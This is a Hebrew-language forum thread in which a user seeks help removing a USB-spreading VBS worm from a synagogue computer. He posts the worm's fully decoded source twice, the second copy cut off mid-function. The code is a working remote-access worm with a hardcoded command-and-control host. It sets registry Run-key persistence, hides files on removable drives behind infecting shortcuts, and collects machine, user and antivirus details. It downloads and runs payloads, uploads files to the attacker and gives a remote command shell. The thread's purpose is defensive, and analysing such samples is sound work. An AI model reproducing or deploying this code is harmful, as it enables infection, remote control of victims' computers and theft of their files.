              לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

              תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

              לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

              z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
              

              בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
              לאחר פיענוח הקידוד התקבל הקוד הבא:
              אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

              e
              '<[ recoder : houdini (c) skype : houdini-fx ]>
              
              '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
              
              host = "khattab.no-ip.biz"
              port = 5550
              installdir = "%temp%"
              lnkfile = true
              lnkfolder = true
              
              '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
              
              dim shellobj 
              set shellobj = wscript.createobject("wscript.shell")
              dim filesystemobj
              set filesystemobj = createobject("scripting.filesystemobject")
              dim httpobj
              set httpobj = createobject("msxml2.xmlhttp")
              
              '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
              
              installname = wscript.scriptname
              startup = shellobj.specialfolders ("startup") & "\"
              installdir = shellobj.expandenvironmentstrings(installdir) & "\"
              if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
              spliter = "<" & "|" & ">"
              sleep = 5000 
              dim response
              dim cmd
              dim param
              info = ""
              usbspreading = ""
              startdate = ""
              dim oneonce
              
              '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
              on error resume next
              
              instance
              while true
              
              install
              
              response = ""
              response = post ("is-ready","")
              cmd = split (response,spliter)
              select case cmd (0)
              case "excecute"
                    param = cmd (1)
                    execute param
              case "update"
                    param = cmd (1)
                    oneonce.close
                    set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                    oneonce.write param
                    oneonce.close
                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                    wscript.quit 
              case "uninstall"
                    uninstall
              case "send"
                    download cmd (1),cmd (2)
              case "site-send"
                    sitedownloader cmd (1),cmd (2)
              case "recv"
                    param = cmd (1)
                    upload (param)
              case  "enum-driver"
                    post "is-enum-driver",enumdriver  
              case  "enum-faf"
                    param = cmd (1)
                    post "is-enum-faf",enumfaf (param)
              case  "enum-process"
                    post "is-enum-process",enumprocess   
              case  "cmd-shell"
                    param = cmd (1)
                    post "is-cmd-shell",cmdshell (param)  
              case  "delete"
                    param = cmd (1)
                    deletefaf (param) 
              case  "exit-process"
                    param = cmd (1)
                    exitprocess (param) 
              case  "sleep"
                    param = cmd (1)
                    sleep = eval (param)        
              end select
              
              wscript.sleep sleep
              
              wend
              
              sub install
              on error resume next
              dim lnkobj
              dim filename
              dim foldername
              dim fileicon
              dim foldericon
              
              upstart
              for each drive in filesystemobj.drives
              
              if  drive.isready = true then
              if  drive.freespace  > 0 then
              if  drive.drivetype  = 1 then
                  filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                  if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                      filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                  end if
                  for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                      if not lnkfile then exit for
                      if  instr (file.name,".") then
                          if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                              file.attributes = 2+4
                              if  ucase (file.name) <> ucase (installname) then
                                  filename = split(file.name,".")
                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                  lnkobj.windowstyle = 7
                                  lnkobj.targetpath = "cmd.exe"
                                  lnkobj.workingdirectory = ""
                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                  fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                  if  instr (fileicon,",") = 0 then
                                      lnkobj.iconlocation = file.path
                                  else 
                                      lnkobj.iconlocation = fileicon
                                  end if
                                  lnkobj.save()
                              end if
                          end if
                      end if
                  next
                  for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                      if not lnkfolder then exit for
                      folder.attributes = 2+4
                      foldername = folder.name
                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                      lnkobj.windowstyle = 7
                      lnkobj.targetpath = "cmd.exe"
                      lnkobj.workingdirectory = ""
                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                      foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                      if  instr (foldericon,",") = 0 then
                          lnkobj.iconlocation = folder.path
                      else 
                          lnkobj.iconlocation = foldericon
                      end if
                      lnkobj.save()
                  next
              end If
              end If
              end if
              next
              err.clear
              end sub
              
              sub uninstall
              on error resume next
              dim filename
              dim foldername
              
              shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
              shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
              filesystemobj.deletefile startup & installname ,true
              filesystemobj.deletefile wscript.scriptfullname ,true
              
              for  each drive in filesystemobj.drives
              if  drive.isready = true then
              if  drive.freespace  > 0 then
              if  drive.drivetype  = 1 then
                  for  each file in filesystemobj.getfolder ( drive.path & "\").files
                       on error resume next
                       if  instr (file.name,".") then
                           if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                               file.attributes = 0
                               if  ucase (file.name) <> ucase (installname) then
                                   filename = split(file.name,".")
                                   filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                               else
                                   filesystemobj.deletefile (drive.path & "\" & file.name)
                               end If
                           else
                               filesystemobj.deletefile (file.path) 
                           end if
                       end if
                   next
                   for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                       folder.attributes = 0
                   next
              end if
              end if
              end if
              next
              wscript.quit
              end sub
              
              function post (cmd ,param)
              
              post = param
              httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
              httpobj.setrequestheader "user-agent:",information
              httpobj.send param
              post = httpobj.responsetext
              end function
              
              function information
              on error resume next
              if  inf = "" then
                  inf = hwid & spliter 
                  inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                  inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
              
                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                  set os = root.execquery ("select * from win32_operatingsystem")
                  for each osinfo in os
                     inf = inf & osinfo.caption & spliter  
                     exit for
                  next
                  inf = inf & "plus" & spliter
                  inf = inf & security & spliter
                  inf = inf & usbspreading
                  information = inf  
              else
                  information = inf
              end if
              end function
              
              sub upstart ()
              on error resume Next
              
              shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
              filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
              filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
              
              end sub
              
              function hwid
              on error resume next
              
              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
              set disks = root.execquery ("select * from win32_logicaldisk")
              for each disk in disks
                  if  disk.volumeserialnumber <> "" then
                      hwid = disk.volumeserialnumber
                      exit for
                  end if
              next
              end function
              
              function security 
              on error resume next
              
              security = ""
              
              set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
              set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
              for each objitem in colitems
                  versionstr = split (objitem.version,".")
              next
              versionstr = split (colitems.version,".")
              osversion = versionstr (0) & "."
              for  x = 1 to ubound (versionstr)
                   osversion = osversion &  versionstr (i)
              next
              osversion = eval (osversion)
              if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
              
              set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
              Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
              
              for each objantivirus in colantivirus
                  security  = security  & objantivirus.displayname & " ."
              next
              if security  = "" then security  = "nan-av"
              end function
              
              function instance
              on error resume next
              
              usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
              if usbspreading = "" then
                 if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                    usbspreading = "true - " & date
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                 else
                    usbspreading = "false - " & date
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
              
                 end if
              end If
              
              
              upstart
              set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
              set installfullnameshort =  filesystemobj.getfile (installdir & installname)
              if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                  wscript.quit 
              end If
              err.clear
              set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
              if  err.number > 0 then wscript.quit
              end function
              
              sub sitedownloader (fileurl,filename)
              
              strlink = fileurl
              strsaveto = installdir & filename
              set objhttpdownload = createobject("msxml2.xmlhttp" )
              objhttpdownload.open "get", strlink, false
              objhttpdownload.send
              
              set objfsodownload = createobject ("scripting.filesystemobject")
              if  objfsodownload.fileexists (strsaveto) then
                  objfsodownload.deletefile (strsaveto)
              end if
               
              if objhttpdownload.status = 200 then
                 dim  objstreamdownload
                 set  objstreamdownload = createobject("adodb.stream")
                 with objstreamdownload
                      .type = 1 
                      .open
                      .write objhttpdownload.responsebody
                      .savetofile strsaveto
                      .close
                 end with
                 set objstreamdownload = nothing
              end if
              if objfsodownload.fileexists(strsaveto) then
                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
              end if 
              end sub
              
              sub download (fileurl,filedir)
              
              if filedir = "" then 
                 filedir = installdir
              end if
              
              strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
              set objhttpdownload = createobject("msxml2.xmlhttp")
              objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
              objhttpdownload.send ""
                   
              set objfsodownload = createobject ("scripting.filesystemobject")
              if  objfsodownload.fileexists (strsaveto) then
                  objfsodownload.deletefile (strsaveto)
              end if
              if  objhttpdownload.status = 200 then
                  dim  objstreamdownload
                  set  objstreamdownload = createobject("adodb.stream")
                  with objstreamdownload 
                       .type = 1 
                       .open
                       .write objhttpdownload.responsebody
                       .savetofile strsaveto
                       .close
                  end with
                  set objstreamdownload  = nothing
              end if
              if objfsodownload.fileexists(strsaveto) then
                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
              end if 
              end sub
              
              function upload (fileurl)
              
              dim  httpobj,objstreamuploade,buffer
              set  objstreamuploade = createobject("adodb.stream")
              with objstreamuploade 
                   .type = 1 
                   .open
                   .loadfromfile fileurl
                   buffer = .read
                   .close
              end with
              set objstreamdownload = nothing
              set httpobj = createobject("msxml2.xmlhttp")
              httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
              httpobj.send buffer
              end function
              
              function enumdriver ()
              
              for  each drive in filesystemobj.drives
              if   drive.isready = true then
                   enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
              end if
              next
              end Function
              
              function enumfaf (enumdir)
              
              enumfaf = enumdir & spliter
              for  each folder in filesystemobj.getfolder (enumdir).subfolders
                   enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
              next
              
              for  each file in filesystemobj.getfolder (enumdir).files
                   enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
              
              next
              end function
              
              function enumprocess ()
              
              on error resume next
              
              set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
              set colitems = objwmiservice.execquery("select * from win32_process",,48)
              
              dim objitem
              for each objitem in colitems
                  enumprocess = enumprocess & objitem.name & "|"
                  enumprocess = enumprocess & objitem.processid & "|"
                  enumprocess = enumprocess & objitem.executablepath & spliter
              next
              end function
              
              sub exitprocess (pid)
              on error resume next
              
              shellobj.run "taskkill /F /T /PID " & pid,7,true
              end sub
              
              sub deletefaf (url)
              on error resume next
              
              filesystemobj.deletefile url
              filesystemobj.deletefolder url
              
              end sub
              
              function cmdshell (cmd)
              
              dim httpobj,oexec,readallfromany
              
              set oexec = shellobj.exec ("%comspec% /c " & cmd)
              if not oexec.stdout.atendofstream then
                 readallfromany = oexec.stdout.readall
              elseif not oexec.stderr.atendofstream then
                 readallfromany = oexec.stderr.readall
              else 
                 readallfromany = ""
              end if
              
              cmdshell = readallfromany
              end function
              
              cfopuserC מנותק
              cfopuserC מנותק
              cfopuser
              כתב נערך לאחרונה על ידי
              #14

              @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

              נראה שלא הועיל,
              לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

              מתכנת חובבמ תגובה 1 תגובה אחרונה
              1
              • cfopuserC cfopuser

                @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                נראה שלא הועיל,
                לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                מתכנת חובבמ מנותק
                מתכנת חובבמ מנותק
                מתכנת חובב
                מדריכים
                כתב נערך לאחרונה על ידי
                #15

                @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                ר תגובה 1 תגובה אחרונה
                0
                • מתכנת חובבמ מתכנת חובב

                  @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                  ר מנותק
                  ר מנותק
                  רנדומלי
                  כתב נערך לאחרונה על ידי
                  #16

                  השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                  מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                  מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                  גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                  @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                  cfopuserC מתכנת חובבמ 2 תגובות תגובה אחרונה
                  0
                  • ר רנדומלי

                    השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                    מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                    מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                    גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                    @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                    cfopuserC מנותק
                    cfopuserC מנותק
                    cfopuser
                    כתב נערך לאחרונה על ידי
                    #17

                    @רנדומלי היא כן.

                    תגובה 1 תגובה אחרונה
                    1
                    • ר רנדומלי

                      בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                      cmd /c hrxxryydxo.vbs && start explorer [file name]
                      

                      הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                      לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                      תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                      לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                      z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                      

                      בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                      לאחר פיענוח הקידוד התקבל הקוד הבא:
                      אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                      e
                      '<[ recoder : houdini (c) skype : houdini-fx ]>
                      
                      '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                      
                      host = "khattab.no-ip.biz"
                      port = 5550
                      installdir = "%temp%"
                      lnkfile = true
                      lnkfolder = true
                      
                      '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                      
                      dim shellobj 
                      set shellobj = wscript.createobject("wscript.shell")
                      dim filesystemobj
                      set filesystemobj = createobject("scripting.filesystemobject")
                      dim httpobj
                      set httpobj = createobject("msxml2.xmlhttp")
                      
                      '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                      
                      installname = wscript.scriptname
                      startup = shellobj.specialfolders ("startup") & "\"
                      installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                      if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                      spliter = "<" & "|" & ">"
                      sleep = 5000 
                      dim response
                      dim cmd
                      dim param
                      info = ""
                      usbspreading = ""
                      startdate = ""
                      dim oneonce
                      
                      '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                      on error resume next
                      
                      instance
                      while true
                      
                      install
                      
                      response = ""
                      response = post ("is-ready","")
                      cmd = split (response,spliter)
                      select case cmd (0)
                      case "excecute"
                            param = cmd (1)
                            execute param
                      case "update"
                            param = cmd (1)
                            oneonce.close
                            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                            oneonce.write param
                            oneonce.close
                            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                            wscript.quit 
                      case "uninstall"
                            uninstall
                      case "send"
                            download cmd (1),cmd (2)
                      case "site-send"
                            sitedownloader cmd (1),cmd (2)
                      case "recv"
                            param = cmd (1)
                            upload (param)
                      case  "enum-driver"
                            post "is-enum-driver",enumdriver  
                      case  "enum-faf"
                            param = cmd (1)
                            post "is-enum-faf",enumfaf (param)
                      case  "enum-process"
                            post "is-enum-process",enumprocess   
                      case  "cmd-shell"
                            param = cmd (1)
                            post "is-cmd-shell",cmdshell (param)  
                      case  "delete"
                            param = cmd (1)
                            deletefaf (param) 
                      case  "exit-process"
                            param = cmd (1)
                            exitprocess (param) 
                      case  "sleep"
                            param = cmd (1)
                            sleep = eval (param)        
                      end select
                      
                      wscript.sleep sleep
                      
                      wend
                      
                      sub install
                      on error resume next
                      dim lnkobj
                      dim filename
                      dim foldername
                      dim fileicon
                      dim foldericon
                      
                      upstart
                      for each drive in filesystemobj.drives
                      
                      if  drive.isready = true then
                      if  drive.freespace  > 0 then
                      if  drive.drivetype  = 1 then
                          filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                          if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                              filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                          end if
                          for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                              if not lnkfile then exit for
                              if  instr (file.name,".") then
                                  if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                      file.attributes = 2+4
                                      if  ucase (file.name) <> ucase (installname) then
                                          filename = split(file.name,".")
                                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                          lnkobj.windowstyle = 7
                                          lnkobj.targetpath = "cmd.exe"
                                          lnkobj.workingdirectory = ""
                                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                          fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                          if  instr (fileicon,",") = 0 then
                                              lnkobj.iconlocation = file.path
                                          else 
                                              lnkobj.iconlocation = fileicon
                                          end if
                                          lnkobj.save()
                                      end if
                                  end if
                              end if
                          next
                          for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                              if not lnkfolder then exit for
                              folder.attributes = 2+4
                              foldername = folder.name
                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                              lnkobj.windowstyle = 7
                              lnkobj.targetpath = "cmd.exe"
                              lnkobj.workingdirectory = ""
                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                              foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                              if  instr (foldericon,",") = 0 then
                                  lnkobj.iconlocation = folder.path
                              else 
                                  lnkobj.iconlocation = foldericon
                              end if
                              lnkobj.save()
                          next
                      end If
                      end If
                      end if
                      next
                      err.clear
                      end sub
                      
                      sub uninstall
                      on error resume next
                      dim filename
                      dim foldername
                      
                      shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                      shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                      filesystemobj.deletefile startup & installname ,true
                      filesystemobj.deletefile wscript.scriptfullname ,true
                      
                      for  each drive in filesystemobj.drives
                      if  drive.isready = true then
                      if  drive.freespace  > 0 then
                      if  drive.drivetype  = 1 then
                          for  each file in filesystemobj.getfolder ( drive.path & "\").files
                               on error resume next
                               if  instr (file.name,".") then
                                   if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                       file.attributes = 0
                                       if  ucase (file.name) <> ucase (installname) then
                                           filename = split(file.name,".")
                                           filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                       else
                                           filesystemobj.deletefile (drive.path & "\" & file.name)
                                       end If
                                   else
                                       filesystemobj.deletefile (file.path) 
                                   end if
                               end if
                           next
                           for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                               folder.attributes = 0
                           next
                      end if
                      end if
                      end if
                      next
                      wscript.quit
                      end sub
                      
                      function post (cmd ,param)
                      
                      post = param
                      httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                      httpobj.setrequestheader "user-agent:",information
                      httpobj.send param
                      post = httpobj.responsetext
                      end function
                      
                      function information
                      on error resume next
                      if  inf = "" then
                          inf = hwid & spliter 
                          inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                          inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                      
                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set os = root.execquery ("select * from win32_operatingsystem")
                          for each osinfo in os
                             inf = inf & osinfo.caption & spliter  
                             exit for
                          next
                          inf = inf & "plus" & spliter
                          inf = inf & security & spliter
                          inf = inf & usbspreading
                          information = inf  
                      else
                          information = inf
                      end if
                      end function
                      
                      sub upstart ()
                      on error resume Next
                      
                      shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                      filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                      filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                      
                      end sub
                      
                      function hwid
                      on error resume next
                      
                      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                      set disks = root.execquery ("select * from win32_logicaldisk")
                      for each disk in disks
                          if  disk.volumeserialnumber <> "" then
                              hwid = disk.volumeserialnumber
                              exit for
                          end if
                      next
                      end function
                      
                      function security 
                      on error resume next
                      
                      security = ""
                      
                      set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                      set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                      for each objitem in colitems
                          versionstr = split (objitem.version,".")
                      next
                      versionstr = split (colitems.version,".")
                      osversion = versionstr (0) & "."
                      for  x = 1 to ubound (versionstr)
                           osversion = osversion &  versionstr (i)
                      next
                      osversion = eval (osversion)
                      if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                      
                      set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                      Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                      
                      for each objantivirus in colantivirus
                          security  = security  & objantivirus.displayname & " ."
                      next
                      if security  = "" then security  = "nan-av"
                      end function
                      
                      function instance
                      on error resume next
                      
                      usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                      if usbspreading = "" then
